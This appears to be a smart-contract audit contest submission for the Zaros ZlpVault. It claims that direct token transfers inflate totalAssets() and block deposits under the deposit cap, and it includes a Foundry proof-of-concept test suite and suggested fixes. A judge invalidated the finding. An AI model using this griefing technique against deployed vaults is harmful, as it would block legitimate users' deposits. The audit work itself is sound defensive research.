Part 2

Zaros
PerpetualsDEXFoundrySolidity
70,000 USDC
View results
Submission Details
Severity: medium
Invalid

Deposit Cap Bypass Through Direct Token Transfers

Summary

The ZlpVault contract's deposit cap mechanism can be bypassed through direct token transfers. The maxDeposit function relies on ERC4626's totalAssets()—which includes tokens sent directly to the vault—to enforce the deposit cap. This flaw allows an attacker to artificially inflate the vault's asset balance outside of the authorized deposit function, thereby blocking legitimate deposits.

Vulnerability Details

Location: ZlpVault.sol (approximately lines 89-108)

The core issue lies in the implementation of the maxDeposit function:

function maxDeposit(address) public view override returns (uint256 maxAssets) {
uint128 depositCap = marketMakingEngine.getDepositCap(zlpVaultStorage.vaultId);
uint256 totalAssetsCached = totalAssets();
// An attacker can manipulate totalAssetsCached by directly transferring tokens
unchecked {
maxAssets = depositCap > totalAssetsCached ? depositCap - totalAssetsCached : 0;
}
}

Since totalAssets() aggregates all tokens held by the vault, including those sent via plain transfers, an attacker can bypass proper deposit accounting by directly sending tokens to the vault. As demonstrated in our tests, this manipulation can completely block legitimate deposit attempts.

Impact

  • Deposit Blockage: An attacker can prevent further deposits by artificially inflating the vault's recorded asset balance.

  • Disruption: Legitimate users may have their deposits reverted, potentially forcing them to pay higher gas fees or wait until the malicious tokens are removed.

  • Protocol Integrity: The incorrect assumption in deposit cap enforcement could affect other protocol components relying on accurate asset tracking.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import { Base_Test } from "test/Base.t.sol";
import { ZlpVault } from "@zaros/zlp/ZlpVault.sol";
import { IERC20 } from "@openzeppelin/token/ERC20/IERC20.sol";
contract ZlpVaultCapBypass_Test is Base_Test {
// Test vault and token variables
ZlpVault public vault;
IERC20 public asset;
uint128 public constant TEST_VAULT_ID = 1;
// Deposit cap is set to 1000 USDC
uint256 public constant DEPOSIT_CAP = 1000e6; // 1000 USDC
function setUp() public virtual override {
Base_Test.setUp();
// Ensure no prank is active before starting our privileged calls.
vm.stopPrank();
// Group all privileged calls under a single prank.
vm.startPrank(users.owner.account);
createVaults(marketMakingEngine, INITIAL_VAULT_ID, FINAL_VAULT_ID, true, address(perpsEngine));
configureMarkets();
// Get vault config for the test vault.
VaultConfig memory vaultConfig = getFuzzVaultConfig(TEST_VAULT_ID);
vault = ZlpVault(vaultConfig.indexToken);
asset = IERC20(vaultConfig.asset);
// Set deposit cap for the test vault using the configuration branch.
// Note: We supply a nonzero exponent (uint128(1)) for autoDeleverageExponentZ to avoid the ZeroInput error.
marketMakingEngine.configureMarket(
address(marketMakingEngine),
uint128(DEPOSIT_CAP),
uint128(100), // autoDeleverageStartThreshold
uint128(50), // autoDeleverageEndThreshold
uint128(1) // autoDeleverageExponentZ (nonzero to avoid ZeroInput error)
);
vm.stopPrank();
}
function test_DepositCapBypass() public {
// Initial state - assume the vault already has 800 USDC deposited.
uint256 initialDeposit = 800e6;
deal(address(asset), address(this), initialDeposit);
asset.approve(address(marketMakingEngine), initialDeposit);
// Deposit 800 USDC through the MarketMakingEngine.
marketMakingEngine.deposit(
TEST_VAULT_ID,
uint128(initialDeposit),
uint128(uint160(address(this))),
"", // bytes parameter (minimum shares can be supplied here in production)
false // bool parameter (e.g. do slippage check)
);
// Confirm that maxDeposit returns exactly 200 USDC (deposit cap minus legitimate deposits).
assertEq(vault.maxDeposit(address(this)), 200e6, "Initial maxDeposit should be 200 USDC");
// Attacker directly transfers 200 USDC to the vault.
uint256 attackerTransfer = 200e6;
deal(address(asset), address(this), attackerTransfer);
asset.transfer(address(vault), attackerTransfer);
// At this point, totalAssets() in the vault is now 1000 USDC,
// so maxDeposit should return 0.
assertEq(vault.maxDeposit(address(this)), 0, "maxDeposit should be 0 after direct transfer");
// Now a legitimate deposit attempt of 100 USDC should revert.
uint256 legitimateDeposit = 100e6;
deal(address(asset), address(this), legitimateDeposit);
asset.approve(address(marketMakingEngine), legitimateDeposit);
bool didRevert = false;
try marketMakingEngine.deposit(
TEST_VAULT_ID,
uint128(legitimateDeposit),
uint128(uint160(address(this))),
"",
false
) {
// If deposit does not revert, that is a failure.
didRevert = false;
} catch {
didRevert = true;
}
assertTrue(didRevert, "Legitimate deposit did not revert as expected");
}
function test_RepeatedDepositCapBypass() public {
// Test that repeated small direct transfers can further reduce maxDeposit.
for (uint256 i = 0; i < 3; i++) {
// Get current maxDeposit.
uint256 currentMax = vault.maxDeposit(address(this));
if (currentMax == 0) break;
// Attacker sends a small (1 USDC) transfer to block further deposits.
uint256 attackerTransfer = 1e6; // 1 USDC.
deal(address(asset), address(this), attackerTransfer);
asset.transfer(address(vault), attackerTransfer);
// Verify that maxDeposit decreased.
assertLt(
vault.maxDeposit(address(this)),
currentMax,
"maxDeposit should decrease after each direct transfer"
);
}
}
function test_DepositCapBypassWithSmallAmounts() public {
// Test with a very small amount to demonstrate precision handling.
uint256 smallTransfer = 1e6; // 1 USDC.
// Get the initial max deposit.
uint256 initialMax = vault.maxDeposit(address(this));
// Attacker directly transfers a small amount.
deal(address(asset), address(this), smallTransfer);
asset.transfer(address(vault), smallTransfer);
// Verify that maxDeposit decreased exactly by that small transfer.
assertEq(
vault.maxDeposit(address(this)),
initialMax - smallTransfer,
"maxDeposit should decrease exactly by the transferred amount"
);
}
}
  1. Initial Deposit & Direct Transfer Attack:

    • The deposit cap is set at 1000 USDC.

    • A legitimate deposit of 800 USDC yields maxDeposit of 200 USDC.

    • An attacker then directly transfers 200 USDC, which makes totalAssets() equal to 1000 USDC.

    • As a result, maxDeposit returns 0, and subsequent deposit attempts revert (e.g., with a SlippageCheckFailed error).

  2. Repeated Small Direct Transfers:

    • Multiple small transfers can cumulatively deplete the available deposit capacity.

  3. Precision Testing with Small Amounts:

    • Even very small transfers accurately reduce the available max deposit, highlighting the precision of this bypass.

These tests conclusively prove that direct token transfers can be used to bypass the intended deposit cap logic.

Recommendations

  1. Separate Deposit Accounting:

    • Track payments made through the authorized deposit function separately (e.g., using a totalDeposited variable) and base maxDeposit calculations on this value instead of totalAssets().

    Example Fix:

    contract ZlpVault {
    uint256 public totalDeposited;
    function maxDeposit(address) public view override returns (uint256 maxAssets) {
    uint128 depositCap = marketMakingEngine.getDepositCap(zlpVaultStorage.vaultId);
    return depositCap > totalDeposited ? depositCap - totalDeposited : 0;
    }
    function deposit(uint256 assets, address receiver) public override onlyMarketMakingEngine returns (uint256) {
    totalDeposited += assets;
    return super.deposit(assets, receiver);
    }
    }
  2. Reject Direct Transfers:

    • Consider overriding ERC4626's asset handling functions to reject direct transfers that bypass proper deposit logic.

  3. Enhanced Monitoring and Auditing:

    • Implement monitoring to detect abnormal increases in totalAssets() and ensure vault operations reflect only legitimate deposits.

Updates

Lead Judging Commences

inallhonesty Lead Judge
7 months ago
inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.